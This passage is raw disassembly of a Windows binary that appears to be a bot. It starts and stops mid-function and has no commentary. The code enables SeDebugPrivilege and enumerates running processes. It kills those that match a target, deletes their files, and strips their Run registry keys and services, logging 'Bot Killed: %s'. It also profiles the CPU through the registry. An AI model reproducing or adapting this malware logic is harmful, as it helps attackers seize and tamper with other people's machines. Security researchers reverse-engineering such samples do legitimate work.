push [ebp+arg_0]
xor ebx, ebx
push 8
call dword_426574
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_419A49
loc_419A39: ; CODE XREF: sub_419A10+53j
xor al, al
loc_419A3B: ; CODE XREF: sub_419A10+8Dj
mov ecx, [ebp+var_4]
pop edi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_419A10+27j
lea eax, [ebp+var_228]
push eax
push edi
mov [ebp+var_228], 224h
call dword_426568
test eax, eax
jz short loc_419A39
loc_419A65: ; CODE XREF: sub_419A10+6Bj
inc ebx
cmp ebx, 1
jz short loc_419A81
lea eax, [ebp+var_228]
push eax
push edi
call dword_426584
test eax, eax
jnz short loc_419A65
xor bl, bl
jmp short loc_419A94
; ---------------------------------------------------------------------------
loc_419A81: ; CODE XREF: sub_419A10+59j
mov eax, [ebp+var_214]
mov [esi], eax
mov eax, [ebp+var_210]
mov [esi+4], eax
mov bl, 1
loc_419A94: ; CODE XREF: sub_419A10+6Fj
push edi
call ds:dword_41D0DC ; CloseHandle
mov al, bl
jmp short loc_419A3B
sub_419A10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=1B4h
sub_419A9F proc near ; CODE XREF: sub_419E55+2Dp
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-1B4h]
sub esp, 234h
mov eax, dword_423064
xor eax, ebp
mov [ebp+1B4h+var_4], eax
mov eax, [ebp+1B4h+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
push 0FFh ; size_t
mov [ebp+1B4h+var_224], eax
lea eax, [ebp+1B4h+var_103]
push ebx ; int
push eax ; void *
mov [ebp+1B4h+var_234], offset aSoftwareMicr_4 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
mov [ebp+1B4h+var_230], offset aSoftwareMicr_5 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
mov [ebp+1B4h+var_22C], offset aSoftwareMicr_6 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
mov [ebp+1B4h+var_228], offset aSoftwareMicr_7 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
mov [ebp+1B4h+var_104], bl
call _memset
mov esi, 100h
add esp, 0Ch
mov [ebp+1B4h+var_21C], esi
mov [ebp+1B4h+var_214], esi
mov [ebp+1B4h+var_20C], offset dword_4255DC
mov [ebp+1B4h+var_220], 2
loc_419B18: ; CODE XREF: sub_419A9F+160j
mov [ebp+1B4h+var_208], ebx
loc_419B1B: ; CODE XREF: sub_419A9F+153j
mov eax, [ebp+1B4h+var_208]
mov eax, [ebp+eax*4+1B4h+var_234]
lea ecx, [ebp+1B4h+var_210]
push ecx
push 1
push ebx
push eax
mov eax, [ebp+1B4h+var_20C]
push dword ptr [eax]
call ds:dword_41D02C ; RegOpenKeyExA
test eax, eax
jnz loc_419BE2
lea eax, [ebp+1B4h+var_214]
push eax
lea eax, [ebp+1B4h+var_204]
push eax
push ebx
push ebx
lea eax, [ebp+1B4h+var_21C]
push eax
lea eax, [ebp+1B4h+var_104]
push eax
mov [ebp+1B4h+var_218], ebx
push ebx
jmp short loc_419BCE
; ---------------------------------------------------------------------------
loc_419B58: ; CODE XREF: sub_419A9F+13Dj
xor edi, edi
loc_419B5A: ; CODE XREF: sub_419A9F+10Cj
mov eax, [ebp+1B4h+var_224]
lea edx, [eax+1]
loc_419B60: ; CODE XREF: sub_419A9F+C6j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_419B60
sub eax, edx
push eax ; size_t
push [ebp+1B4h+var_224] ; char *
lea eax, [ebp+edi+1B4h+var_204]
push eax ; char *
call __strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_419B99
lea eax, [ebp+1B4h+var_104]
push eax
mov eax, [ebp+1B4h+var_208]
push [ebp+eax*4+1B4h+var_234]
mov eax, [ebp+1B4h+var_20C]
push dword ptr [eax]
call sub_416F32
add esp, 0Ch
loc_419B99: ; CODE XREF: sub_419A9F+DDj
lea eax, [ebp+1B4h+var_204]
inc edi
lea edx, [eax+1]
loc_419BA0: ; CODE XREF: sub_419A9F+106j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_419BA0
sub eax, edx
cmp edi, eax
jbe short loc_419B5A
inc [ebp+1B4h+var_218]
lea eax, [ebp+1B4h+var_214]
push eax
lea eax, [ebp+1B4h+var_204]
push eax
push ebx
push ebx
lea eax, [ebp+1B4h+var_21C]
push eax
lea eax, [ebp+1B4h+var_104]
push eax
push [ebp+1B4h+var_218]
mov [ebp+1B4h+var_21C], esi
mov [ebp+1B4h+var_214], esi
loc_419BCE: ; CODE XREF: sub_419A9F+B7j
push [ebp+1B4h+var_210]
call ds:dword_41D020 ; RegEnumValueA
cmp eax, 103h
jnz loc_419B58
loc_419BE2: ; CODE XREF: sub_419A9F+98j
push [ebp+1B4h+var_210]
call ds:dword_41D010 ; RegCloseKey
inc [ebp+1B4h+var_208]
cmp [ebp+1B4h+var_208], 4
jb loc_419B1B
add [ebp+1B4h+var_20C], 4
dec [ebp+1B4h+var_220]
jnz loc_419B18
mov ecx, [ebp+1B4h+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
add ebp, 1B4h
leave
retn
sub_419A9F endp
; =============== S U B R O U T I N E =======================================
sub_419C1D proc near ; CODE XREF: sub_419C6D+189p
arg_0 = dword ptr 4
push ebx
push esi
push edi
push 0F003Fh
push 0
push 0
call ds:dword_41D024 ; OpenSCManagerA
push 0F01FFh
push [esp+10h+arg_0]
mov esi, eax
push esi
call ds:dword_41D044 ; OpenServiceA
mov edi, eax
mov ebx, edi
call sub_419760
push edi
call ds:dword_41D03C ; DeleteService
test eax, eax
jz short loc_419C69
mov bl, 1
loc_419C57: ; CODE XREF: sub_419C1D+4Ej
push esi
mov esi, ds:dword_41D040
call esi ; CloseServiceHandle
push edi
call esi ; CloseServiceHandle
pop edi
pop esi
mov al, bl
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419C69: ; CODE XREF: sub_419C1D+36j
xor bl, bl
jmp short loc_419C57
sub_419C1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=2C0h
sub_419C6D proc near ; CODE XREF: sub_419E55+35p
; sub_419E55:loc_419E92p
var_340 = dword ptr -340h
var_33C = dword ptr -33Ch
var_338 = dword ptr -338h
var_334 = byte ptr -334h
Dest = byte ptr -234h
var_233 = byte ptr -233h
Str1 = byte ptr -134h
var_133 = byte ptr -133h
var_34 = byte ptr -34h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-2C0h]
sub esp, 340h
mov eax, dword_423064
xor eax, ebp
mov [ebp+2C0h+var_4], eax
push esi
mov eax, [ebp+2C0h+arg_0]
push edi
push 0Bh
pop ecx
mov esi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\Eventlog\\"...
lea edi, [ebp+2C0h+var_34]
rep movsd
movsw
mov esi, 0FFh
push esi ; size_t
mov [ebp+2C0h+var_340], eax
xor edi, edi
lea eax, [ebp+2C0h+var_233]
push edi ; int
push eax ; void *
mov [ebp+2C0h+Dest], 0
call _memset
push esi ; size_t
lea eax, [ebp+2C0h+var_133]
push edi ; int
push eax ; void *
mov [ebp+2C0h+Str1], 0
call _memset
add esp, 18h
lea eax, [ebp+2C0h+var_33C]
push eax
push 0F003Fh
push edi
lea eax, [ebp+2C0h+var_34]
push eax
push 80000002h
call ds:dword_41D02C ; RegOpenKeyExA
test eax, eax
jnz loc_419E35
push ebx
mov ebx, 100h
push ebx
lea eax, [ebp+2C0h+Str1]
push eax
push edi
push [ebp+2C0h+var_33C]
mov [ebp+2C0h+var_338], edi
call ds:dword_41D018 ; RegEnumKeyA
cmp eax, 103h
jz loc_419E34
jmp short loc_419D2A
; ---------------------------------------------------------------------------
loc_419D25: ; CODE XREF: sub_419C6D+1C1j
mov esi, 0FFh
loc_419D2A: ; CODE XREF: sub_419C6D+B6j
push ebx ; size_t
lea eax, [ebp+2C0h+var_334]
push edi ; int
push eax ; void *
call _memset
push ebx ; size_t
lea eax, [ebp+2C0h+Dest]
push edi ; int
push eax ; void *
call _memset
lea eax, [ebp+2C0h+Str1]
push eax
lea eax, [ebp+2C0h+var_34]
push eax
push offset aSS_10 ; "%s\\%s"
lea eax, [ebp+2C0h+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+2C0h+Dest]
add esp, 2Ch
lea esi, [eax+1]
loc_419D6F: ; CODE XREF: sub_419C6D+107j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_419D6F
sub eax, esi
mov [ebp+eax+2C0h+Dest], cl
lea eax, [ebp+2C0h+Str1]
push offset aLdm ; "LDM"
push eax ; Str1
call __stricmp
test eax, eax
pop ecx
pop ecx
jz short loc_419E12
push 7
mov edi, offset aNetdde ; "NetDDE"
lea esi, [ebp+2C0h+Str1]
pop ecx
xor eax, eax
repe cmpsb
jz short loc_419E10
push ebx ; size_t
lea eax, [ebp+2C0h+var_334]
push eax ; void *
push offset aEventmessagefi ; "EventMessageFile"
lea eax, [ebp+2C0h+Dest]
push eax ; int
push 1 ; char
call sub_416ECD
add esp, 14h
test al, al
jz short loc_419E10
xor esi, esi
loc_419DCB: ; CODE XREF: sub_419C6D+1A1j
mov eax, [ebp+2C0h+var_340]
lea edx, [eax+1]
loc_419DD1: ; CODE XREF: sub_419C6D+169j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_419DD1
sub eax, edx
push eax ; size_t
push [ebp+2C0h+var_340] ; char *
lea eax, [ebp+esi+2C0h+var_334]
push eax ; char *
call __strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_419DFC
lea eax, [ebp+2C0h+Str1]
push eax
call sub_419C1D
pop ecx
loc_419DFC: ; CODE XREF: sub_419C6D+180j
lea eax, [ebp+2C0h+var_334]
inc esi
lea edx, [eax+1]
loc_419E03: ; CODE XREF: sub_419C6D+19Bj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_419E03
sub eax, edx
cmp esi, eax
jbe short loc_419DCB
loc_419E10: ; CODE XREF: sub_419C6D+13Bj
; sub_419C6D+15Aj
xor edi, edi
loc_419E12: ; CODE XREF: sub_419C6D+127j
inc [ebp+2C0h+var_338]
push ebx
lea eax, [ebp+2C0h+Str1]
push eax
push [ebp+2C0h+var_338]
push [ebp+2C0h+var_33C]
call ds:dword_41D018 ; RegEnumKeyA
cmp eax, 103h
jnz loc_419D25
loc_419E34: ; CODE XREF: sub_419C6D+B0j
pop ebx
loc_419E35: ; CODE XREF: sub_419C6D+8Aj
push [ebp+2C0h+var_33C]
call ds:dword_41D010 ; RegCloseKey
mov ecx, [ebp+2C0h+var_4]
pop edi
xor ecx, ebp
pop esi
call sub_402710
add ebp, 2C0h
leave
retn
sub_419C6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E55 proc near ; CODE XREF: sub_419EA0+42Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push [ebp+arg_0]
call ds:dword_41D0F8 ; TerminateProcess
test eax, eax
jz short loc_419E9C
push 7D0h
call ds:dword_41D0FC ; Sleep
push [ebp+arg_4]
call ds:dword_41D0D0 ; DeleteFileA
test eax, eax
push [ebp+arg_8]
jz short loc_419E92
call sub_419A9F
push [ebp+arg_8]
call sub_419C6D
pop ecx
jmp short loc_419E97
; ---------------------------------------------------------------------------
loc_419E92: ; CODE XREF: sub_419E55+2Bj
call sub_419C6D
loc_419E97: ; CODE XREF: sub_419E55+3Bj
pop ecx
mov al, 1
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419E9C: ; CODE XREF: sub_419E55+10j
xor al, al
pop ebp
retn
sub_419E55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419EA0 proc near ; DATA XREF: .text:0041BF57o
var_569 = byte ptr -569h
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = dword ptr -55Ch
var_558 = dword ptr -558h
var_554 = dword ptr -554h
var_550 = dword ptr -550h
var_54C = dword ptr -54Ch
var_548 = dword ptr -548h
var_540 = dword ptr -540h
var_524 = byte ptr -524h
Args = byte ptr -420h
var_318 = byte ptr -318h
var_317 = byte ptr -317h
Dest = byte ptr -210h
var_4 = dword ptr -4
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 56Ch
mov eax, dword_423064
xor eax, esp
mov [esp+56Ch+var_4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 103h ; size_t
lea eax, [esp+57Ch+var_317]
push ebx ; int
push eax ; void *
mov [esp+584h+var_318], bl
call _memset
add esp, 0Ch
mov [esp+578h+var_558], offset aWinlogon_exe ; "winlogon.exe"
mov [esp+578h+var_554], offset aSvchost_exe ; "svchost.exe"
mov [esp+578h+var_550], offset aServices_exe ; "services.exe"
call sub_402AE8 ; GetCurrentProcessId
mov edi, ds:dword_41D0E4
push offset aOpenthread ; "OpenThread"
push offset aKernel32_dll_1 ; "kernel32.dll"
mov [esp+580h+var_54C], eax
call edi ; GetModuleHandleA
mov esi, ds:dword_41D0EC
push eax
call esi ; GetProcAddress
push offset aOpenprocess ; "OpenProcess"
push offset aKernel32_dll_2 ; "kernel32.dll"
mov dword_426580, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push offset aKernel32_dll_3 ; "kernel32.dll"
mov dword_42658C, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push offset aKernel32_dll_4 ; "kernel32.dll"
mov dword_426574, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push offset aKernel32_dll_5 ; "kernel32.dll"
mov dword_426578, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push offset aKernel32_dll_6 ; "kernel32.dll"
mov dword_42657C, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aModule32next ; "Module32Next"
push offset aKernel32_dll_7 ; "kernel32.dll"
mov dword_426568, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aThread32first ; "Thread32First"
push offset aKernel32_dll_8 ; "kernel32.dll"
mov dword_426584, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aThread32next ; "Thread32Next"
push offset aKernel32_dll_9 ; "kernel32.dll"
mov dword_42656C, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aReadprocessmem ; "ReadProcessMemory"
push offset aKernel32_dl_10 ; "kernel32.dll"
mov dword_426590, eax
call edi ; GetModuleHandleA
push eax
call esi ; GetProcAddress
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push offset aPsapi_dll ; "psapi.dll"
mov dword_426570, eax
call ds:dword_41D0E8 ; LoadLibraryA
push eax
call esi ; GetProcAddress
cmp dword_426580, ebx
mov dword_426588, eax
jz loc_41A36B
cmp dword_42658C, ebx
jz loc_41A36B
cmp dword_426574, ebx
jz loc_41A36B
cmp dword_426578, ebx
jz loc_41A36B
cmp dword_42657C, ebx
jz loc_41A36B
cmp dword_426568, ebx
jz loc_41A36B
cmp dword_426584, ebx
jz loc_41A36B
cmp dword_42656C, ebx
jz loc_41A36B
cmp dword_426590, ebx
jz loc_41A36B
cmp dword_426570, ebx
jz loc_41A36B
cmp eax, ebx
jz loc_41A36B
mov edi, 104h
push edi
lea eax, [esp+57Ch+var_318]
push eax
call ds:dword_41D0F4 ; GetSystemDirectoryA
lea eax, [esp+578h+var_558]
xor esi, esi
mov [esp+578h+var_568], eax
loc_41A087: ; CODE XREF: sub_419EA0+238j
mov ecx, [esp+578h+var_568]
push dword ptr [ecx]
lea ecx, [esp+57Ch+var_318]
push ecx
push offset aSS_11 ; "%s\\%s"
lea eax, [esp+esi+584h+Dest]
push 103h ; Count
push eax ; Dest
call __snprintf
lea eax, [esp+esi+58Ch+Dest]
add esp, 14h
lea ecx, [eax+1]
loc_41A0B9: ; CODE XREF: sub_419EA0+21Ej
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_41A0B9
add [esp+578h+var_568], 4
sub eax, ecx
add eax, esi
add esi, edi
cmp esi, 30Ch
mov [esp+eax+578h+Dest], bl
jb short loc_41A087
loc_41A0DA: ; CODE XREF: sub_419EA0+4C6j
push ebx
push 0Fh
mov [esp+580h+var_548], 128h
call dword_426574
lea ecx, [esp+578h+var_548]
push ecx
push eax
mov [esp+580h+var_55C], eax
call dword_426578
test eax, eax
jz loc_41A35B
jmp loc_41A344
; ---------------------------------------------------------------------------
loc_41A108: ; CODE XREF: sub_419EA0+4B5j
mov edi, ds:dword_41D104
lea eax, [esp+578h+var_564]
push eax
push ebx
push 28h
mov [esp+584h+var_569], 1
call edi ; GetCurrentThread
mov esi, ds:dword_41D038
push eax
call esi ; OpenThreadToken
test eax, eax
jnz short loc_41A15C
call ds:dword_41D0F0 ; RtlGetLastWin32Error
cmp eax, 3F0h
jnz short loc_41A158
push 2
call ds:dword_41D030 ; ImpersonateSelf
test eax, eax
jnz short loc_41A147
mov [esp+578h+var_569], bl
loc_41A147: ; CODE XREF: sub_419EA0+2A1j
lea eax, [esp+578h+var_564]
push eax
push ebx
push 28h
call edi ; GetCurrentThread
push eax
call esi ; OpenThreadToken
test eax, eax
jnz short loc_41A15C
loc_41A158: ; CODE XREF: sub_419EA0+295j
mov [esp+578h+var_569], bl
loc_41A15C: ; CODE XREF: sub_419EA0+288j
; sub_419EA0+2B6j
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
push [esp+580h+var_564]
call sub_419835
add esp, 0Ch
test al, al
jnz short loc_41A181
push [esp+578h+var_564]
call ds:dword_41D0DC ; CloseHandle
mov [esp+578h+var_569], bl
loc_41A181: ; CODE XREF: sub_419EA0+2D1j
push [esp+578h+var_540]
push ebx
push 1F0FFFh
call dword_42658C
cmp eax, ebx
mov [esp+578h+var_568], eax
jnz short loc_41A19D
mov [esp+578h+var_569], bl
loc_41A19D: ; CODE XREF: sub_419EA0+2F7j
mov esi, 104h
push esi ; size_t
lea eax, [esp+57Ch+Args]
push ebx ; int
push eax ; void *
call _memset
add esp, 0Ch
push esi
lea eax, [esp+57Ch+Args]
push eax
push ebx
push [esp+584h+var_568]
call dword_426588
mov [esp+578h+var_560], ebx
lea edi, [esp+578h+Dest]
loc_41A1D3: ; CODE XREF: sub_419EA0+352j
lea eax, [esp+578h+Args]
push eax ; Str2
push edi ; Str1
call __stricmp
test eax, eax
pop ecx
pop ecx
jz short loc_41A1F6
inc [esp+578h+var_560]
add edi, esi
cmp [esp+578h+var_560], 3
jb short loc_41A1D3
jmp short loc_41A1FA
; ---------------------------------------------------------------------------
loc_41A1F6: ; CODE XREF: sub_419EA0+345j
mov [esp+578h+var_569], bl
loc_41A1FA: ; CODE XREF: sub_419EA0+354j
cmp [esp+578h+var_569], bl
jz loc_41A32A
push ebx
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
push [esp+580h+var_564]
call sub_419835
xor eax, eax
lea edi, [esp+584h+var_558]
stosd
stosd
mov eax, [esp+584h+var_54C]
add esp, 0Ch
cmp [esp+578h+var_540], eax
jz loc_41A32A
lea eax, [esp+578h+var_524]
push offset aSystem ; "System"
push eax ; Str1
call __stricmp
test eax, eax
pop ecx
pop ecx
jz loc_41A32A
mov esi, [esp+578h+var_540]
push ebx
push 4
call dword_426574
cmp eax, 0FFFFFFFFh
jz loc_41A32A
push eax
push esi
call sub_4199AC
cmp al, bl
pop ecx
pop ecx
jz loc_41A32A
push [esp+578h+var_540]
lea esi, [esp+57Ch+var_558]
call sub_419A10
test al, al
pop ecx
jz loc_41A30F
push [esp+578h+var_554] ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
cmp eax, ebx
pop ecx
jnz short loc_41A293
push ebx
jmp short loc_41A309
; ---------------------------------------------------------------------------
loc_41A293: ; CODE XREF: sub_419EA0+3EEj
push eax ; Memory
push [esp+57Ch+var_554] ; int
push [esp+580h+var_558] ; int
push [esp+584h+var_568] ; int
call sub_4198D2
add esp, 10h
cmp al, bl
jz short loc_41A30F
push 100h ; unsigned int
call j_??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov esi, eax
lea eax, [esp+578h+var_524]
push eax
lea eax, [esp+57Ch+Args]
push eax
push [esp+580h+var_568]
call sub_419E55
add esp, 0Ch
test al, al
jz short loc_41A308
push esi ; void *
call __msize
pop ecx
push eax
mov ebx, offset dword_424ED0
call sub_4196D1
pop ecx
lea eax, [esp+578h+Args]
push eax ; Args
push offset aBotKilledS ; "Bot Killed: %s"
push esi ; int
push 0 ; char
push offset dword_4269BC ; int
call sub_417361
add esp, 14h
xor ebx, ebx
loc_41A308: ; CODE XREF: sub_419EA0+434j
push esi ; Memory
loc_41A309: ; CODE XREF: sub_419EA0+3F1j
call j_j__free
pop ecx
loc_41A30F: ; CODE XREF: sub_419EA0+3DCj
; sub_419EA0+40Aj
mov esi, [esp+578h+var_540]
push ebx
push 4
call dword_426574
cmp eax, 0FFFFFFFFh
jz short loc_41A32A
push eax
push esi
call sub_419948
pop ecx
pop ecx
loc_41A32A: ; CODE XREF: sub_419EA0+35Ej
; sub_419EA0+386j ...
push [esp+578h+var_564]
mov esi, ds:dword_41D0DC
call esi ; CloseHandle
push [esp+578h+var_568]
call esi ; CloseHandle
push 1
call ds:dword_41D0FC ; Sleep
loc_41A344: ; CODE XREF: sub_419EA0+263j
lea eax, [esp+578h+var_548]
push eax
push [esp+57Ch+var_55C]
call dword_42657C
test eax, eax
jnz loc_41A108
loc_41A35B: ; CODE XREF: sub_419EA0+25Dj
push 927C0h
call ds:dword_41D0FC ; Sleep
jmp loc_41A0DA
; ---------------------------------------------------------------------------
loc_41A36B: ; CODE XREF: sub_419EA0+14Fj
; sub_419EA0+15Bj ...
call ds:dword_41D0E0 ; GetCurrentThreadId
push eax
call sub_414042
pop ecx
mov ecx, [esp+578h+var_4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call sub_402710
mov esp, ebp
pop ebp
retn 4
sub_419EA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=2C4h
sub_41A391 proc near ; CODE XREF: sub_401CC0+E0p
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_33C = dword ptr -33Ch
var_335 = byte ptr -335h
var_334 = byte ptr -334h
var_234 = byte ptr -234h
Dest = byte ptr -134h
var_133 = byte ptr -133h
var_34 = dword ptr -34h
var_4 = dword ptr -4
push ebp
lea ebp, [esp-2C4h]
sub esp, 344h
mov eax, dword_423064
xor eax, ebp
mov [ebp+2C4h+var_4], eax
push ebx
push esi
push edi
push 0Bh
pop ecx
mov esi, offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
lea edi, [ebp+2C4h+var_34]
rep movsd
movsw
mov ebx, 100h
movsb
push ebx ; size_t
xor esi, esi
lea eax, [ebp+2C4h+var_334]
push esi ; int
push eax ; void *
call _memset
push 4 ; size_t
push offset dword_426BE8 ; void *
push offset aMhz ; "~MHz"
lea eax, [ebp+2C4h+var_34]
push eax ; int
push 4 ; char
call sub_416ECD
add esp, 20h
test al, al
jz loc_41A5A9
push ebx ; size_t
lea eax, [ebp+2C4h+var_334]
push eax ; void *
push offset aProcessornames ; "ProcessorNameString"
lea eax, [ebp+2C4h+var_34]
push eax ; int
push 1 ; char
call sub_416ECD
add esp, 14h
test al, al
jz loc_41A4E9
mov edi, 0FFh
push edi ; size_t
lea eax, [ebp+2C4h+var_133]
push esi ; int
push eax ; void *
mov [ebp+2C4h+var_335], 0
mov [ebp+2C4h+Dest], 0
call _memset
lea eax, [ebp+2C4h+var_334]
push eax
push offset aS_15 ; "%s"
lea eax, [ebp+2C4h+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+2C4h+Dest]
add esp, 1Ch
lea esi, [eax+1]
loc_41A45C: ; CODE XREF: sub_41A391+D0j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41A45C
sub eax, esi
push ebx ; size_t
push 0 ; int
mov esi, offset Dest
push esi ; void *
mov [ebp+eax+2C4h+Dest], cl
call _memset
add esp, 0Ch
xor ecx, ecx
mov [ebp+2C4h+var_33C], ecx
loc_41A482: ; CODE XREF: sub_41A391+154j
cmp [ebp+2C4h+var_335], 0
jnz short loc_41A499
cmp [ebp+ecx+2C4h+Dest], 20h
jz short loc_41A4C9
mov [ebp+2C4h+var_335], 1
dec ecx
jmp short loc_41A4C9
; ---------------------------------------------------------------------------
loc_41A499: ; CODE XREF: sub_41A391+F5j
movsx eax, [ebp+ecx+2C4h+Dest]
push eax
push esi
push offset aSC_1 ; "%s%c"
push edi ; Count
push esi ; Dest
call __snprintf
mov eax, esi
add esp, 14h
lea ecx, [eax+1]
loc_41A4B7: ; CODE XREF: sub_41A391+12Bj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41A4B7
sub eax, ecx
mov ecx, [ebp+2C4h+var_33C]
mov Dest[eax], dl
loc_41A4C9: ; CODE XREF: sub_41A391+FFj
; sub_41A391+106j
lea eax, [ebp+2C4h+Dest]
inc ecx
lea edx, [eax+1]
mov [ebp+2C4h+var_33C], ecx
mov [ebp+2C4h+var_344], edx
loc_41A4D9: ; CODE XREF: sub_41A391+14Dj
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41A4D9
sub eax, [ebp+2C4h+var_344]
cmp ecx, eax
jbe short loc_41A482
jmp short loc_41A51C
; ---------------------------------------------------------------------------
loc_41A4E9: ; CODE XREF: sub_41A391+85j
push ebx ; size_t
push esi ; int
mov esi, offset Dest
push esi ; void *
call _memset
push offset aUnknown ; "Unknown"
mov edi, 0FFh
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 18h
lea eax, [esi+1]
loc_41A50D: ; CODE XREF: sub_41A391+181j
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_41A50D
sub esi, eax
mov Dest[esi], cl
loc_41A51C: ; CODE XREF: sub_41A391+156j
and dword_426BEC, 0
mov [ebp+2C4h+var_33C], 1
loc_41A52A: ; CODE XREF: sub_41A391+20Dj
inc dword_426BEC
push ebx ; size_t
lea eax, [ebp+2C4h+var_234]
push 0 ; int
push eax ; void *
call _memset
push [ebp+2C4h+var_33C]
lea eax, [ebp+2C4h+var_234]
push offset aHardwareDesc_0 ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
push edi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+2C4h+var_234]
add esp, 1Ch
lea esi, [eax+1]
loc_41A560: ; CODE XREF: sub_41A391+1D4j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_41A560
sub eax, esi
mov [ebp+eax+2C4h+var_234], cl
lea eax, [ebp+2C4h+var_340]
push eax
push 1
push 0
lea eax, [ebp+2C4h+var_234]
push eax
push 80000002h
call ds:dword_41D02C ; RegOpenKeyExA
test eax, eax
jnz short loc_41A5A0
push [ebp+2C4h+var_340]
call ds:dword_41D010 ; RegCloseKey
inc [ebp+2C4h+var_33C]
cmp [ebp+2C4h+var_33C], 8
jb short loc_41A52A
loc_41A5A0: ; CODE XREF: sub_41A391+1FBj
push [ebp+2C4h+var_340]
call ds:dword_41D010 ; RegCloseKey
loc_41A5A9: ; CODE XREF: sub_41A391+62j
mov ecx, [ebp+2C4h+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
add ebp, 2C4h
leave
retn
sub_41A391 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A5C1 proc near ; CODE XREF: .text:0041A98Cp
var_518 = dword ptr -518h
var_508 = dword ptr -508h
var_504 = byte ptr -504h
var_501 = byte ptr -501h
var_390 = dword ptr -390h
var_21C = byte ptr -21Ch
var_21B = byte ptr -21Bh
Dest = byte ptr -11Ch
var_11B = byte ptr -11Bh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 508h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov [ebp+var_508], eax
mov eax, ds:dword_41EF64
mov [ebp+var_C], eax
mov eax, ds:dword_41EF68
mov esi, offset dword_41EF6C
lea edi, [ebp+var_504]
mov ebx, 16Fh
movsw
push ebx ; size_t
mov [ebp+var_8], eax
lea eax, [ebp+var_501]
push 0 ; int
push eax ; void *
movsb
call _memset
mov esi, offset dword_41EF70
lea edi, [ebp+var_390]
movsw
movsb
push ebx ; size_t
xor esi, esi
lea eax, [ebp+var_390+3]
push esi ; int
push eax ; void *
call _memset
xor eax, eax
mov [ebp+var_1C], 0
lea edi, [ebp+var_1B]
stosd
stosd
stosd
stosw
stosb
mov edi, 0FFh
push edi ; size_t
lea eax, [ebp+var_21B]
push esi ; int
push eax ; void *
mov [ebp+var_21C], 0
call _memset
push edi ; size_t
